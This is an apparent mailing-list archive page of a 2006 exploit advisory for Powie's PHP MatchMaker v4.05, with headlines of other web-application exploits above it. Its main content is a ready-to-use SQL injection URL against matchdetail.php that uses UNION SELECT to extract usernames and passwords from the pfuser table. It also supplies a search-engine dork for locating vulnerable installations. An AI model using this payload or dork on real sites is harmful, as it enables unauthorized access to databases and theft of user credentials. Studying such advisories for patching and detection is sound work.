Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[SA22925] EC-CUBE Unspecified Cross-Site Scripting Vulnerability

mxBB calsnails module 1.06 Remote File Inclusion Vulnerability

Powie's PHP Forum <= v1.29a (editpoll) Remote SQL Injection Exploit

HTTP Upload Tool (download. php) Information Disclosure Vulnerability

From:	SHiKaA-_(at)_hotmail.com <SHiKaA-_(at)_hotmail.com>
Date:	18.11.2006
Subject:	Powie's PHP MatchMaker <= v4.05 (matchdetail) Remote SQL Injection Exploit

#================================================================================
==============
#Powie's PHP MatchMaker <= v4.05 (matchdetail) Remote SQL Injection Exploit
#================================================================================
===============
#                                                                     
#Critical Level : Dangerous                                           
#                                                                     
#Venedor site : http://www.powie.de    
#                                                                     
#Version : v4.05
#
#================================================================================
===============
#
#DORK :  "Powie's PSCRIPT MatchMaker 4.05"                                        
#                                                       
#
#Exploit :
#--------------------------------
#
#http://target.com/(path to script)/matchdetail.php?edit=-1 UNION SELECT 0,0,0,pwd,0,0,0,0,0,username,0,0,0,0 FROM pfuser WHERE id=1
#
#================================================================================
================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Thx To : Str0ke & SuperRomio & XoRon & MDx & Simo
# sPECial THanks to : CaMpA , Coder-AZH@CKTEAM
=================================================================================
=================